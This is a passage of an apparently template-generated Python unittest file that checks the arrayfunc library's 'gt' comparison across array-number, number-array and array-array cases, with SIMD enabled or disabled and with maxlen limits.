"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_Q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_Q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_Q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_Q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('Q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('Q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('Q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code Q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code Q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code Q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code Q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code Q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code Q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_Q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'Q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'Q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'Q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
